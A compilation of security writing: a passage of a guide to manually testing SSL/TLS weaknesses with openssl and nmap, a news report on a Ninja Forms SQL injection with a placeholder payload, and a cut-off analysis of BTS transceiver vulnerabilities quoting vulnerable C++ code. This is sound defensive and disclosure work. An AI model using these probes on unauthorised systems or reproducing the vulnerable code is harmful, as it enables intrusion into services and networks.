the server is not vulnerable to POODLE. A nice one-liner to use in a script: echo Q | openssl s_client –ssl3 -connect example.com:443 | grep “Begin Certificate” Cipher Suites One of the main functions of the SSL/TLS protocols is to allow the client and server to negotiate a mutually acceptable "cipher suite" to use for the connection. The cipher suite chosen specifies a set of algorithms which the client and server will use to perform key exchange, encryption, and message authentication. A cipher suite is typically described in a format similar to this: TLS_RSA_WITH_AES_128_CBC_SHA where RSA is the key exchange algorithm, AES_128_CBC is the encryption cipher (AES using a 128-bit key operating in Cipher-Block Chaining mode), and SHA is the Message Authentication Code (MAC) algorithm. The cipher suites a server is configured to support should be dictated by its security requirements. The following guidelines are generally recommended as a baseline: The key exchange algorithm should be restricted to those which provide "perfect forward secrecy", such as Ephemeral Diffie-Hellman (DHE) or Ephemeral Elliptic Curve Diffie-Hellman (ECDHE). The cipher should not suffer from known cryptanalytic flaws. This rules out RC4 which has been known to have flaws for many years and in the past few years has been shown to be significantly weaker than originally thought. The cipher should use at least a 128 bit symmetric key, which rules out DES and Triple-DES. Cipher-Block Chaining (CBC) mode is prone to padding oracle attacks and should ideally be avoided altogether, but specifically it should not be used in conjunction with SSLv3 or TLSv1.0 as this can lead to vulnerability to the BEAST attack. An alternative is Galois Counter Mode (GCM) which is not affected by these problems and offers authenticated encryption. The message authentication algorithm should be SHA256. MD5 is known to be cryptographically weak and is considered insecure by most browsers nowadays. Similarly phasing out SHA1 (just denoted SHA in the cipher suite specifications) has begun, since it has its own weaknesses (for example the ). The major browsers, such as Chrome, Firefox and Internet Explorer will show a warning if the certificate is valid after January 1st Use SHA256 (named as such in the cipher suite specifications) instead. NULL and anonymous (anon) ciphers should be avoided as these provide no security at all. "Export" algorithms should also be disabled as their short key lengths make them susceptible to brute-force attacks and other attacks such as the FREAK attack. Nmap's "ssl-enum-ciphers" script can be used to produce a list of the supported cipher suites in the following way: nmap --script ssl-enum-ciphers -p 443 example.com Example nmap --script ssl-enum-ciphers -p 443 10.0.0.1 Nmap scan report for 10.0.0.1 PORT STATE SERVICE REASON 443/tcp open https syn-ack | ssl-enum-ciphers: | SSLv3 | Ciphers (6) | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength | TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - weak | TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 - broken | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength | Compressors (1) | uncompressed | TLSv1.0 | Ciphers (6) | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - unknown strength | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - unknown strength | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength | Compressors (1) | uncompressed |_ While nmap will give a strength rating for each supported cipher suite, the fast pace of change SSL/TLS security means that these ratings should be manually reviewed. A list of recommended ciphers for different use cases can be found over at Mozilla. To manually verify if a certain type of cipher suite is available one can use the following OpenSSL commands to see if a connection attempt is successful. Please note that a successful connection means that there is at least one cipher that supports this type, but there might be many more. Therefore a manual inspection might be the better choice (see above). A list of available ciphers can be displayed with: openssl ciphers Following is means to test for ciphers that should be disabled/enabled, based on the cipher criteria mentioned above. Anonymous Cipher (Connection should fail): openssl s_client -cipher aNULL -connect example.com:443 DES Cipher (Connection should fail): openssl s_client -cipher DES -connect example.com:443 3DES Cipher (Connection should fail): openssl s_client -cipher 3DES -connect example.com:443 Export Cipher (Connection should fail): openssl s_client -cipher EXPORT -connect example.com:443 Low Cipher (Connection should fail): openssl s_client -cipher LOW -connect example.com:443 RC4 Cipher (Connection should fail): openssl s_client -cipher RC4 -connect example.com:443 NULL Cipher (Connection should fail): openssl s_client -cipher NULL -connect example.com:443 Perfect Forward Secrecy Cipher (Connection should NOT fail): openssl s_client -cipher EECDH, EDH NULL -connect example.com:443 SSL/TLS Certificates SSL/TLS supports the use of authentication via X.509 certificates, which are often termed "SSL certificates" when used in this context. Server certificates enable the client to verify that it is connecting to the correct host. Though not usually used for HTTPS, SSL/TLS can also support mutual authentication in which the client proves its own identity through the provision of its own certificate. Some of the main security properties which should be considered when setting up a certificate include: "Not Before" - This gives the start date of the certificate and should be a date in the past. "Not After" - This gives the expiry date of the certificate after which is should not be trusted. It is therefore important to ensure that this is a date in the future. As the expiry date approaches, a new certificate should be issued to replace it. "Signature Algorithm" - This is the algorithm used to ensure the certificate's integrity. MD5 has been shown to be inadequate for this, with collision attacks allowing fake, but valid, certificates to be generated. SHA1 is in the process of being phased out due to known weaknesses (see the Cipher Suite section above), with SHA2 hash functions being the preferred alternative. "Public-Key" - The public key should be long enough to ensure that attacks are computationally infeasible. In the case of RSA, 2048 bit public keys are now considered a sensible minimum to protect against factoring attacks. "Issuer" - This is the entity which has issued the certificate and should be a trusted party recognised by both the client and server. The issuer is typically a third-party certificate authority (such as DigiCert in the example above), though larger organisations often operate their own certificate authority to sign certificates for internal use. While it is possible to generate so-called "self-signed" certificates, these prevent the client from authenticating the server and open up the possibility of man-in-the-middle attacks in which an attacker dupes the client and/or server into communicating with the attacker rather than each other. "Subject" and "Subject Alternative Name" - These should contain the DNS information necessary to tie the IP of the server running the SSL/TLS service. If these values are not valid domain names (or wildcard domains), then the client will be unable to determine whether or not the certificate is associated with the server in question and cannot therefore use it to authenticate the server. To view the details of a server's certificate, the following command can be used: openssl s_client -connect example.com:443 | openssl x509 -noout -text This will produce output similar to the following (here PayPal's certificate is shown): Certificate: Data: Version: 3 (0x2) Serial Number: 0e:65:41:91:6c:e8:cf:b2:9b:7b:52:71:01:05:ba:c4 Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA Validity Not Before: Dec 12 00:00:00 2014 GMT Not After : Dec 16 12:00:00 2016 GMT Subject: C=US, ST=California, L=San Jose, O=PayPal, Inc., OU=PayPal Production, CN=paypal.com Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:d5:c8:b2:65:07:ff:fb:71:0a:cf:a8:77:97:fc: e1:a4:87:5d:79:29:03:e0:1a:5f:c2:f8:71:c9:ac: bc:d3:16:e0:9c:2e:bb:d9:1c:5b:cc:90:7d:e3:54: ab:53:79:50:37:63:b1:cb:68:56:ee:6a:5b:d2:10: 38:1a:35:f7:37:12:83:d9:72:51:9e:b7:f9:9c:1d: b8:a9:e6:f3:27:bb:5b:8b:b9:be:fa:39:19:83:d9: cd:66:69:1d:cc:8a:cb:59:b5:53:3e:ca:41:f6:ac: 89:4d:58:06:04:a5:e2:c9:94:05:26:6c:24:a6:81: ca:4a:01:11:4c:a2:8d:83:7a:9a:2a:7d:16:93:ca: a0:df:59:b8:e1:38:18:b2:bd:eb:77:6b:57:fb:7f: d6:70:e1:2d:70:dd:cc:af:43:f0:de:a0:fc:2f:8e: 94:74:3c:4f:ae:ca:f6:f2:ab:09:7f:63:71:b6:27: 78:4d:f8:e1:e0:86:3a:81:9f:d4:55:45:27:ff:4d: 53:2f:99:43:28:ad:fa:c9:63:6f:64:28:36:d7:ea: c3:00:50:88:86:a3:d0:83:ae:be:99:18:25:b2:44: 05:c6:e8:36:4a:fb:4d:ab:df:6d:0f:50:3f:80:fc: 38:ba:4c:53:c1:6d:48:22:68:7a:ed:6e:05:e4:9d: 58:ef Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: keyid:51:68:FF:90:AF:02:07:75:3C:CC:D9:65:64:62:A2:12:B8:59:72:3B X509v3 Subject Key Identifier: 1F:54:C7:2D:0E:D3:6C:C4:63:FE:66:1C:EA:8C:50:75:3A:01:8F:DE X509v3 Subject Alternative Name: DNS:paypal.com, DNS:www.paypal.com X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Extended Key Usage: TLS Web Server Authentication, TLS Web Client Authentication X509v3 CRL Distribution Points: Full Name: URI:http://crl3.digicert.com/sha2-ha-server-g3.crl Full Name: URI:http://crl4.digicert.com/sha2-ha-server-g3.crl X509v3 Certificate Policies: Policy: 2.16.840.1.114412.1.1 CPS: https://www.digicert.com/CPS Authority Information Access: OCSP - URI:http://ocsp.digicert.com CA Issuers - URI:http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha256WithRSAEncryption 3d:79:69:48:5d:f6:bc:4b:5f:81:f3:97:9d:61:e5:9c:46:b9: 73:00:66:09:f1:8a:06:89:14:a3:25:ea:ba:a2:5d:ac:77:3a: 8f:6a:8a:11:9b:c3:35:67:99:9f:9d:c2:c0:ac:9f:eb:24:58: c8:4a:be:07:31:30:8c:69:07:bc:ff:c0:5a:d1:17:c6:05:f7: 75:ca:fe:cd:98:78:43:41:ac:14:75:f7:c9:10:f4:07:38:58: 73:6a:84:58:1f:a9:31:7d:28:47:70:98:de:3f:d7:00:82:a6: 5c:2e:5d:31:96:4a:06:82:a2:a0:02:95:fd:6f:ef:66:4a:57: 50:c3:1a:84:48:26:47:73:6e:c8:d7:30:fb:75:11:d6:ee:67: 7e:d4:15:b2:44:15:ef:ee:ab:ba:81:c2:f5:05:04:d1:f3:70: bb:96:41:03:eb:d1:e0:e4:3d:57:41:8d:3d:7a:df:f0:c1:68: 6f:43:68:e1:8d:1e:19:7e:57:aa:49:43:28:2a:f1:8c:f7:0d: a4:6a:8c:18:75:6b:a4:cc:a7:2f:e5:21:d1:81:8c:d4:bc:f4: 00:4c:f6:37:03:a3:61:33:b2:ea:15:34:48:53:83:48:57:6c: 33:f2:b7:fb:f3:fc:ea:df:0d:d0:e2:49:01:b4:23:c9:3d:7a: f4:42:4f:98 Renegotiation The SSL/TLS protocols allow the client and server to renegotiate new encryption keys during a session. A vulnerability was discovered in 2009 whereby an attacker could exploit a flaw in the renegotiation process and inject content into the start of the session, compromising the integrity of the session. This is only possible if two conditions are met, namely that the server does not support secure renegotiation but does honour client-initiated renegotiations. These conditions can be checked for as described below: Secure Renegotiation The following demonstrates how to verify if a system supports secure renegotiation. openssl s_client -connect example.com:443 A system that does not support secure renegotiation will return the following when a connection is established. CONNECTED(00000003) 139677333890704:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:429: --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 36 bytes --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session: Protocol : SSLv2 Cipher : 0000 Session-ID: Session-ID-ctx: Master-Key: Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None Start Time: 1428910482 Timeout : 300 (sec) Verify return code: 0 (ok) --- Client Initiated Renegotiation The following demonstrates how to check if client initiated renegotiation is supported. openssl s_client -connect example.com:443 Once the connection is established, the server will wait for us to type the next command. We can write the following two lines in order to initiate a renegotiation by specifying R in the second line, followed by enter or return. openssl s_client -connect host:port HEAD / HTTP/1.0 R <Enter or Return key> A system that does not support client initiated renegotiation will return an error and end the connection, or the connection will time out. Please note that below is just one of the many different error messages that you can encounter when your renegotiation is blocked. RENEGOTIATING write:errno=104 A system that supports client initiated renegotiation will keep the connection active, and respond to further commands. Please note that some implementations allow a limited rate of renegotiations before blocking your renegotiation attempts. So if it initially looks like the server supports renegotiation try sending R a few more times to see if it really poses a threat. Compression The use of compression has been linked to two side channel attacks: CRIME and BREACH. Crime The Compression Ratio Info-leak Made Easy (CRIME) attack is a side-channel attack against TLS compression. To carry out the attack, the attacker needs to exert partial control over the content of requests made by the client (e.g. by using a Cross-Site Scripting vulnerability to force the user's browser to issue requests). The attacker can then observe the compressed size of these requests on the network and from that infer the contents of the remainder of the request (e.g. session cookies) based on the level of compression achieved. To test whether a server supports TLS compression, and is vulnerable to CRIME, the following method can be used: openssl s_client -connect example.com:443 On the servers supporting compression, a response similar to the one below will be received, containing details about the compression. The lines "Compression: zlib compression" and "Compression: 1 (zlib compression)" indicate that the remote server is vulnerable to the CRIME attack. --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: zlib compression Expansion: zlib compression SSL-Session: Protocol : TLSv1.1 Cipher : DHE-RSA-AES256-SHA Session-ID: 50791A02E03E42F8983344B25C8ED4598620518D5C917A3388239AAACE991858 Session-ID-ctx: Master-Key: 9FEDB91F439775B49A5C49342FF53C3DD7384E4AFC33F9C6AFB64EA3D639CA57253AD7D059BA54E01581AD3A73306342 Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 300 (seconds) TLS session ticket: 0000 - 34 38 24 70 35 88 4a 68-0c 80 e6 c5 76 a1 0e ee 48$p5.Jh....v... 0010 - 14 2e fb ef fa 42 f0 c1-58 ee 70 02 90 45 f4 8c .....B..X.p..E.. 0020 - 7d 0b 2e 1e 71 70 b0 a2-cc 27 1b 13 29 cc f5 ee }...qp...'..)... 0030 - 84 43 98 fa b1 ae 83 dc-ff 6d aa 07 9f 7a 95 4f .C.......m...z.O 0040 - 44 68 63 21 72 d7 b9 18-97 d8 8e d7 61 7d 71 6f Dhc!r.......a}qo 0050 - a7 16 85 79 f9 a2 80 2a-b4 bc f9 47 78 6a b7 08 ...y...*...Gxj.. 0060 - f6 4f 09 96 7b e8 d4 9b-26 2d 1a fd 55 fe 6a ab .O..{...&-..U.j. 0070 - fc 8d 6d 87 7a 13 e1 a9-0a 05 09 d9 ce ea fe 70 ..m.z..........p 0080 - 09 c9 5f 33 3c 5f 28 4e-20 3b 3a 10 75 c4 86 45 .._3<_(N ;:.u..E 0090 - 1d 8b c8 a5 21 89 a1 12-59 b6 0f 55 e3 48 8f 91 ....!...Y..U.H.. 00a0 - 01 af 53 b6 ..S. Compression: 1 (zlib compression) Start Time: 1348073759 Timeout : 300 (sec) Verify return code: 20 (unable to get local issuer certificate) --- For servers that have TLS compression disabled, the response will be similar to the following. The "Compression: NONE" shows that this server rejects usage of TLS-level compression. --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES128-GCM-SHA256 Session-ID: 7E49EA6457B200B441A26C05F1AE9634AAF97284AC7A12EC58F69CEF5470B052 Session-ID-ctx: Master-Key: E035F082F5545424373A546A1F76D77673E8AEE018B3F0A3AFD7A3545746013664C18E6BB69F08BFAECA6C7FB3010C9C Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 100800 (seconds) TLS session ticket: 0000 - 66 72 6f 6e 74 70 61 67-65 61 61 61 61 61 61 61 frontpageaaaaaaa 0010 - 89 55 c6 6a 92 c3 28 85-86 b0 ff c3 08 12 5a a8 .U.j..(.......Z. 0020 - f2 ec f8 56 6d d3 29 99-7b 98 90 ef 57 fd c6 15 ...Vm.).{...W... 0030 - ee a2 53 4b 43 ef 19 ee-41 25 1f 76 28 37 68 b6 ..SKC...A%.v(7h. 0040 - 64 ca e7 3f 71 01 70 30-35 91 ef bc d8 19 20 4f d..?q.p05..... O 0050 - 9d 9e 2c ab 3f 35 5c 3f-65 f8 c6 9a a9 90 fa 60 ..,.?5\?e......` 0060 - 4d 53 a1 b8 49 8c e7 61-e4 6c e1 51 8e 83 b5 25 MS..I..a.l.Q...% 0070 - bc 9a 32 d8 fa be 16 a1-ae 3d 8c 0b e3 9e e4 78 ..2......=.....x 0080 - 77 d7 91 6b a9 a0 01 2b-e1 98 33 d4 2c eb b3 84 w..k...+..3.,... 0090 - f9 da 0f fa 77 df ac d6-08 b6 34 97 07 d9 b2 58 ....w.....4....X Start Time: 1428988675 Timeout : 300 (sec) Verify return code: 20 (unable to get local issuer certificate) --- Servers that support the SPDY protocol are generally vulnerable for CRIME due to the way they use cookie compression (this is supposed to be fixed in version 4). To check whether your SSL/TLS service supports SPDY use the following command and look for a line ‘Protocols advertised’. If it exists you should see the SPDY version in use, if not your server does not support SPDY. openssl s_client -nextprotoneg NULL -connect example.com:443 The following server (google.com) for example speaks spdy/3.1 as seen in the second line: CONNECTED(00000003) Protocols advertised by server: h2, spdy/3.1, http/1.1 depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate Authority verify return:1 depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2 verify return:1 depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = *.google.com verify return:1 --- Certificate chain 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.google.com i:/C=US/O=Google Inc/CN=Google Internet Authority G2 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2 i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority --- Server certificate -----BEGIN CERTIFICATE----- MIIHtTCCBp2gAwIBAgIIdI13ggMPwqowDQYJKoZIhvcNAQELBQAwSTELMAkGA1UE BhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbn Breach The BREACH attack is analogous to the CRIME attack, but this time exploits the use of HTTP compression to again infer the contents of attacker-influenced requests. To test whether a server supports deflate or compression, the following steps can be performed: openssl s_client -connect example.com:443 Submitting the following will allow us to see if HTTP compression is supported by the server. GET / HTTP/1.1 Host: example.com Accept-Encoding: compress, gzip If the response contains encoded data, similar to the following response, it indicates that HTTP compression is supported; therefore the remote host is vulnerable. HTTP/1.1 200 OK Server: nginx/1.1.19 Date: Sun, 19 Mar 2015 20:48:31 GMT Content-Type: text/html Last-Modified: Thu, 19 Mar 2015 23:34:28 GMT Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip ¬ =A 0 }E /փg oP u422,f&4YĮ9 .RoKc]`|or 0 A system which does not support deflate or compression will ignore the compress header request and respond with uncompressed data, indicating that it is not vulnerable. Implementation Issues SSL/TLS is only as secure as its implementation and a number of flaws have surfaced in TLS software in recent years. This has included TLS (not SSLv3) implementations which are vulnerable to POODLE, and timing attacks such as the Lucky-13 attack. We highlight two notable implementation vulnerabilities here, but more important than their details is the message that keeping SSL/TLS software patched and up-to-date is an essential piece of the security puzzle. Heartbleed The Heartbleed bug is a result of a weakness in OpenSSL. It can be exploited to retrieve memory contents of a server/host running a vulnerable version of OpenSSL. The following versions of OpenSSL are vulnerable: OpenSSL 1.0.1 through 1.0.1f (inclusive) The following versions of OpenSSL are not vulnerable: OpenSSL >1.0.1g OpenSSL 1.0.0 branch OpenSSL 0.9.8 branch There are many scripts publicly available that can be used to test whether a system is affected by this vulnerability. Servers accessible from the internet can be tested using the Heartbleed test websites like https://filippo.io/Heartbleed/, which is run by Filippo Valsorda. Alternatively, Nmap (v6.46 and above) can be used to test this bug by using the ‘ssl-heartbleed.nse’ script. nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com The output will be similar to the following: PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ Change Cipher Spec Injection A weakness exists in some versions of OpenSSL which can be exploited by intermediary third parties in order to retrieve sensitive information from encrypted communication. Affected Versions: OpenSSL 1.0.1 through 1.0.1g OpenSSL 1.0.0 through 1.0.0l all versions before OpenSSL 0.9.8y Testing requires using publicly available tools, such as the the ‘ssl-ccs-injection’ nmap script by Claudiu Perta, which can be used to test for this vulnerability. This script can be downloaded from https://nmap.org/nsedoc/scripts/ssl-ccs-injection.html. nmap -p 443 --script ssl-ccs-injection example.com Sample output: PORT STATE SERVICE 443/tcp open https | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | Description: | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before | 1.0.1h does not properly restrict processing of ChangeCipherSpec | messages, which allows man-in-the-middle attackers to trigger use | of a zero-length master key in certain OpenSSL-to-OpenSSL | communications, and consequently hijack sessions or obtain | sensitive information, via a crafted TLS handshake, aka the | "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.cvedetails.com/cve/2014-0224 |_ http://www.openssl.org/news/secadv_20140605.txt Summary and Conclusions We have seen that TLS is finally taking off, improving the overall situation for the end user. At the same time we have seen that modern TLS implementations can have their security level lowered, or even completely compromised by insecure configuration. This includes the use of legacy protocols (SSLv2, SSLv3) or using weak ciphers (TripleDES/3DES, RC4, CBC ciphers, Export, anonymous, null etc.). When we communicate with our clients we often hear that possible backwards compatibility is the main reason for still supporting outdated protocol versions. However, SSLv2 was superseded in the last millennium and was finally deprecated in 2011; SSLv3 was deprecated in 2015. There really should be no reason to support either of these versions anymore. If you think your clients still require it, you are vulnerable to a whole range of security problems that have been tackled over the last decades. Rather than supporting weak ciphers and protocol versions for the sake a few potential clients or users, administrators should be looking to upgrade their server configurations to support the most secure options available. A weak configuration not only affects a few legacy clients, but everyone who uses the service. The upcoming TLSv1.3 (currently a working draft) tries to enforce this by protocol. It explicitly prohibits a server that wants to offer TLSv1.3 to respond to SSLv2 or SSLv3 requests, as well as prohibiting the use of weak ciphers and settings. This post has presented the means to manually test for some of the most common vulnerabilities and misconfigurations which can undermine the security of SSL/TLS. Addressing these should be considered a minimum for anyone configuring SSL/TLS. It should be noted that SSL/TLS and its cryptographic component are subject to constant research, which means that other attacks might exist that are not covered here. A secure SSL/TLS configuration is a moving target and additional or better attacks may be discovered in the future. References BREACH http://breachattack.com/ CVE-2015-3197: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3197 DROWN https://drownattack.com/ Freestart collision weakness: https://eprint.iacr.org/2015/967.pdf HEARTBLEED http://heartbleed.com/ LOGJAM https://weakdh.org/ Mozilla SSL Generator: https://mozilla.github.io/server-side-tls/ssl-config-generator/ POODLE: https://www.openssl.org/~bodo/ssl-poodle.pdf Schneier on Security: https://www.schneier.com/blog/archives/2013/09/how_to_remain_s.html tlsfuzzer: https://github.com/tomato42/tlsfuzzer Sursa: http://www.contextis.com/resources/blog/manually-testing-ssltls-weaknesses-2016-edition/

WordPress Plugin Fixes SQL Injection Flaw That Let Attackers Dump Site Passwords Affected plugin installed on over 600,000 WP sites Aug 22, 2016 02:35 GMT · By Catalin Cimpanu · An SQL injection vulnerability exists in the Ninja Forms WordPress plugin that is both easy to exploit and allows an attacker to dump quite a lot sensitive information from affected sites. The vulnerability affects Ninja Forms plugin versions prior to version 2.9.55.2, version where this issue was fixed. US security firm Sucuri discovered the flaw on August 11, 2016, and the Ninja Forms team fixed the problem on the same day, in 5 hours and 14 minutes after it was reported. Attackers need an account on the site first Ninja Forms is a very popular WordPress plugin developed by WP Ninjas, LLC, installed on over 600,000 sites, according to statistics provided by the WordPress Plugin Directory. According to Sucuri, in order to compromise a website, an attacker first needs to register an account on the targeted site. This requirement reduces the attack surface, but many sites allow users to register to comment on blog posts. Ninja Forms allows WordPress users to create web forms in various configurations. This is done using a drag-and-drop builder that yields shortcodes which users can embed in their content. Additional shortcodes are also provided for querying various details of the contact form. Sucuri says that an attacker can send a custom HTTP POST request to the attacked site bearing a shortcode in the form of [ninja_forms_display_sub_number id=”123′ SQL INJECTION OCCURS HERE”]and trigger an SQL injection. Attackers can pilfer usernames and passwords The SQL injection allows attackers to dump details such as the site’s usernames and hashed passwords, but sometimes WordPress secret keys. The exploitation chain is trivial, and even lesser skilled attackers can pull this off. Despite this, the Sucuri team noted a general improvement of the WordPress security model. "SQL injections tend to be trickier to find in popular plugins now than they used to be," Sucuri's Marc-Alexandre Montpas writes, "partly due to the increasing popularity of prepared statements like $wpdb->prepare()." Read more: http://news.softpedia.com/news/sql-injection-found-in-one-of-the-most-popular-wordpress-plugins-507517.shtml#ixzz4IEoDx7MZ

Analysis of multiple vulnerabilities in different open source BTS products By ZIMPERIUM zLabs Tuesday, Aug 23 2016 at 11:35 Background By:Simone Margaritelli Follow Simone Margaritelli (@evilsocket) Zimperium zLabs Follow Zimperium zLabs (@zLabsProeject) During the last weeks we’ve been investigating multiple aspects of GSM security such as protocol vulnerabilities as well as source auditing the world’s most common open source software products that run GSM networks. In this post we’ll share the details about multiple vulnerabilities in such software which allow an attacker to compromise a BTS station, crash it, or takeover its transceiver module remotely. A BTS (base transceiver station) is composed of software and radio equipment that allows mobile stations (cellular phones) to connect to the GSM, UMTS, and LTE networks. They are the equivalent of wireless access points for Wi-Fi networks and handle the “Um”[1] layer/interface as shown in Figure 1. Figure 1: A mobile station connecting to a BTS ( GNURadio OpenBTS documentation ). The lower level software behind any BTS is the transceiver, which is the direct interface to the radio hardware. It is responsible for frequency tuning and handling GMSK (Gaussian Minimum Shift Keying) data modulation/demodulation. In short, it digitizes the radio waves. All the communication and synchronization with the rest of the logical units of the BTS is handled through three UDP sockets as shown in Figure 2. Figure 2: The transceiver module and the three UDP sockets used to communicate with the rest of the BTS. The clock socket is used for timing synchronization. The command socket is used by the BTS to send commands to the transceiver module. Finally, the data socket is used to transmit GSM “bursts” (data packets) from the BTS to the radio and receive responses back. The UDPSocket class is used by the transceiver to handle all the three channels in Figure 2. Our research shows that all of the most commonly available BTS software shares the same (or a very similar) transceiver code base. Thus, all of them are affected by the same vulnerabilities. The following reports are valid for all products listed below. Such vulnerabilities would allow a malicious party to remotely control the transceiver module, thus compromising the BTS functionalities, impersonating a parallel BTS communicating with it. Moreover, it is possible for the attacker to send GSM data bursts to the transceiver itself and perform a wide range of attacks such as IMSI detaching, encryption downgrading, denial of service, etc against mobile subscribers. In order to be accepted by the transceiver module, UDP packets sent to the data channel socket must respect the following format: Once the transceiver receives these packets it will decode and modulate them using GMSK (Gaussian Minimum Shift Keying). Eventually, the bursts will be transmitted to the connected mobile stations accordingly to their contents. Even if the following products are GSM and UMTS only, the transceiver (which is a standalone component) itself is universal. Chances are that other (proprietary) BTS software uses the very same code base in order to serve LTE connectivity as well. Affected Products YateBTS <= 5.0.0 OpenBTS <= 4.0.0 OpenBTS-UMTS <= 1.0.0 Osmo-TRX/Osmo-BTS <= 0.1.10 Other products that share the same transceiver code base. Vendors Legba Incorporated (YateBTS) Range Networks (OpenBTS and OpenBTS-UMTS) OsmoCOM (Osmo-TRX and Osmo-BTS) Issue 1: Overly Exposed Service Binding Summary There’s a bug in the network library of the aforementioned products which makes the transceiver UDP sockets bind to INADDR_ANY instead of the user configured value (127.0.0.1 by default). This allows any attacker with IP connectivity to the BTS system to receive and send packets from/to the transceiver. Moreover, access to the services exposed on these UDP network sockets is not protected by any authentication mechanism whatsoever. Figure 3: The three transceiver sockets bound to 0.0.0.0 Impact An attacker with IP connectivity could send UDP traffic to exercise any functionality provided. This could allow remote control takeover, GSM traffic hijacking, various information disclosure, DoS, or worse. Details The root cause of this vulnerability (and the reason why the following vulnerabilities can be reached remotely) can be found in the UDPSocket constructor and the UDPSocket::open method in the source file CommonLibs/Sockets.cpp. This source file is present in all affected products. The following excerpt shows the vulnerable code. 256 UDPSocket::UDPSocket(unsigned short wSrcPort, 257 const char * wDestIP, unsigned short wDestPort ) 258 :DatagramSocket() 259 { 260 open(wSrcPort); 261 destination(wDestPort, wDestIP); 262 } ... 266 void UDPSocket::destination( unsigned short wDestPort, const char * wDestIP ) 267 { 268 resolveAddress((sockaddr_in*)mDestination, wDestIP, wDestPort ); 269 } In the above snippet we can see that the desired bind address is saved into the mDestination class member variable, but here’s how the UDPSocket::open method is implemented: 271 address.sin_family = AF_INET; 272 address.sin_addr.s_addr = INADDR_ANY; 273 address.sin_port = htons(localPort); 274 if (bind(mSocketFD,(struct sockaddr*)&address,length)<0) { Despite the fact that the UDPSocket class provides a constructor argument to specify the address to which to bind the server, this information is ignored. As show on line 272, the socket is bound toINADDR_ANY instead of using the mDestination address variable. Issue 2: Remote Stack-Based Buffer Overflow Summary An attacker can overflow a stack buffer by sending an oversized UDP packet to the control channel. Impact An attacker may be able to achieve remote code execution (RCE) or cause a denial of service (DoS) condition. Details The control channel is handled by the Transceiver::driveControl method in theTransceiver.cpp source file. The first lines follow. 694 void Transceiver::driveControl(size_t chan) 695 { 696 int MAX_PACKET_LENGTH = 100; 697 698 // check control socket 699 char buffer[MAX_PACKET_LENGTH]; 700 int msgLen = -1; 701 buffer[0] = '\0'; 702 703 msgLen = mCtrlSockets[chan]->read(buffer); Note that the packet buffer, which resides on the method’s stack, is defined to be 100 bytes (fromMAX_PACKET_LENGTH). If we analyze the DatagramSocket::read method (the DatagramSocket class is the parent class ofUDPSocket) declared in the Sockets.cpp source file, we see the following. 194 int DatagramSocket::read(char* buffer) 195 { 196 socklen_t temp_len = sizeof(mSource); 197 int length = recvfrom(mSocketFD, 